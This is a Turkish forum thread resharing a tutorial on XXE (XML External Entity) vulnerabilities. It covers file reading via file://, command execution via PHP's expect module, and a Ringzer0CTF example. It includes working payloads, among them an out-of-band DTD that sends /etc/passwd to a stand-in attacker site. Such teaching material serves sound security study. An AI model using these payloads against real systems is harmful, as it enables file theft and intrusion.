• Discord kanalımız için buraya, youtube kanalımız için buraya tıklayınız.
  • Vip üye sistemi getirilmiştir,ayrıntılı bilgi için ilgili konuya buradan gidebilirsiniz.

Yararlı + XXE (XML EXTERNAL ENTITY) NEDIR?? NASIL ISTISMAR EDILIR??

R4zly

Security Researcher, Bug Hunter, Exploit Developer
Selam Ben R4zly Bugun XXE Açığını Çok Güzel Bir Şekilde Olan Bir Arkadaşımızın Yazısını Paylaşacam.

1) XML Nedir ?


    • XXE Nedir ?

    • File Read

    • Command Execution

    • Out of Band Attack

    • ...
Please login to view full content. Giriş yap veya üye ol.
 

Ekli dosyalar

Moderatör tarafında düzenlendi:

Superman

Tanınmış Kullanıcı
Selam Ben R4zly Bugun XXE Açığını Çok Güzel Bir Şekilde Olan Bir Arkadaşımızın Yazısını Paylaşacam.

1) XML Nedir ?


    • XXE Nedir ?

    • File Read

    • Command Execution

    • Out of Band Attack

    • Uygulama



1) XML Nedir ?

XML kelimesi “eXtensible Markup Language” harflerinden türetilmiş kısaltmadır. Veri depolamak ve aktarmak amacıyla geliştirilmiştir. Yani verilerinizi farklı dillerde (Python-PHP-Java-C# bla bla…) kullanabilmenize olanak sağlar. Kullanımı ve kod yapısı kolaydır, veri seçim ve aktarma işlemleri hızlı şekilde gerçekleştirilebilir.

XML dosyaları ağaç veri yapısındadır yani bir anadal ve ona bağlı alt dallar bulunur. Bu tanımlamayı aşağıdaki resim ile rahatça kavrayabilirsiniz.




2) XXE Nedir ?

Web sitesinin XML veriyi okuyup değerlendirirken, araya kendi xml komutlarımızı yerleştirip bu komutlar aracılığıyla “Arbitrary File Read”, “Command Execution” gibi kritik zaafiyetler elde edebildiğimiz bir güvenlik açığıdır.

Güvenlik açığını rahat anlamak için bazı tanımlamaları bilmekte fayda var ;



Biraz XML örnekleri üzerinden devam edelim ve zafiyetin işleyişini kavramaya çalışalım.
2019-11-03%2015-09-11%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC


Burada "vvHack" adında bir DOCTYPE bulunuyor, içerisinde “kullanici” adında bir ENTITY tanımladık ve değerini “jonturk” olarak belirttik. Daha sonra “user” tagları arasına “&kullanici;” şeklinde bir değer vererek tanımlamış olduğumuz “jonturk” değerini çağırdık.

Bir sitenin yorumlayacağı bu kodu saldırgan manipüle ederek External Entity aracılığıyla “File Read” veya “Command Execution” gerçekleştirebilmekte.

Saldırgan bu işlemi gerçekleştirirken private bir entity oluşturması gerekiyor ve bunu yaparken “SYSTEM” komutunu kullanması gerekmektedir. Yani saldırganımızın yazacağı payload şu şekilde olacaktır ;

<!--?xml version="1.0" ?-->
<!DOCTYPE vvHack [<!ENTITY kullanici SYSTEM "saldirganinkodlari"> ]>
<users>
<user>&kullanici;</user>
<pass>123456</pass>
</users>

Şimdi bu payload vasıtasıyla File Read ve Command Execution işlemlerinin işleyişine hızlıca göz atalım.


3) Arbitrary File Read

Saldırgan SYSTEM içerisinde tanımlayacağı değeri “file://” protokolü ile çağırdığı vakit ilgili dosyayı okuyabilmekte.

2019-11-03%2015-08-36%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC



4) Command Execution

PHP “expect” modülünün yüklü olması durumunda bu modül sayesinde komutlarımızı çalıştırmamız mümkün olabilir. Test etmek amacıyla “expect://komut” şeklinde bir payload değişikliği yapıyoruz.

2019-11-03%2015-10-17%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC



5) Out of Band Attack

Bir çıktı elde edemediğimiz veya firewall gibi önlemleri atlatmamız gereken durumlarda başvuracağımız yöntemlerden bir tanesi payloadın cevabını üçüncü kaynaklar üzerinden aldığımız “Out of Band” yöntemi olacaktır. Yukarıda bahsettiğim gibi, XXE zaafiyetini Out of Band olarak gerçekleştirirken “.dtd” uzantılı bir dosyaya ihtiyacımız var.

Out of Band işlemi gerçekleştirirken, yetki sahibi olduğumuz bir site üzerinden “test.dtd” adında bir dosya oluşturuyoruz ve bu dosya içerisinde bazı tanımlamalar yapıyoruz.

Örnek gösterecek olursak, “saldirganinsitesi.com” adresinde oluşturacağımız “external.dtd” dosyamızın içeriği şu şekilde olacaktır ;

<!ENTITY % param1 SYSTEM "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY get1 SYSTEM
"http://saldirganinsitesi.com/%param1;'>">
%param2;

Hedef sistem üzerinden göndereceğimiz payload ise şöyle olması gerekmekte ;

<!--?xml version="1.0"?-->
<!DOCTYPE vvHack SYSTEM "http://saldirgansitesi.com/external.dtd">
<users>
<user>&get1;</user>
<pass>123456</pass>
</users>

Bu payload ile “external.dtd” dosyasında bulunan “get1” değerini çağırdık, get1 ise param1 değerini tetikledi ve sonrasında param2 ile işlem tamamlanmış oldu. Bu sayede kendi sitemize /etc/passwd dosyasının içeriğinin bulunduğu bir GET isteği atılmış oldu ve log dosyalarını inceleyerek veyahut istekleri izleyerek /etc/passwd içeriğini çekmiş olduk.


6) Uygulama

Video çekmeye vakit ayıramadığım için canlı uygulamayı Ringzer0CTF sorularından birisi olan “Facebook will never forget this one” sorusu üzerinden yapacağım. Vakit bulabilirsem video çekip konu altına ekleyeceğim.

Soru Linkine 4 tıkladığınızda, sayfa yüklenirken ekrandaki “Tarih - Saat” bilgisi “api.php?xml” şeklinde yapılan bir XML isteği aracılığıyla ekrana bastırılıyor.



Bu XML isteğini yukarıda anlattığımız yöntem ile manipüle ederek /etc/passwd dosyasının içeriğini okuyoruz.


Kaynak
Eline sağlık?
 
Üst Alt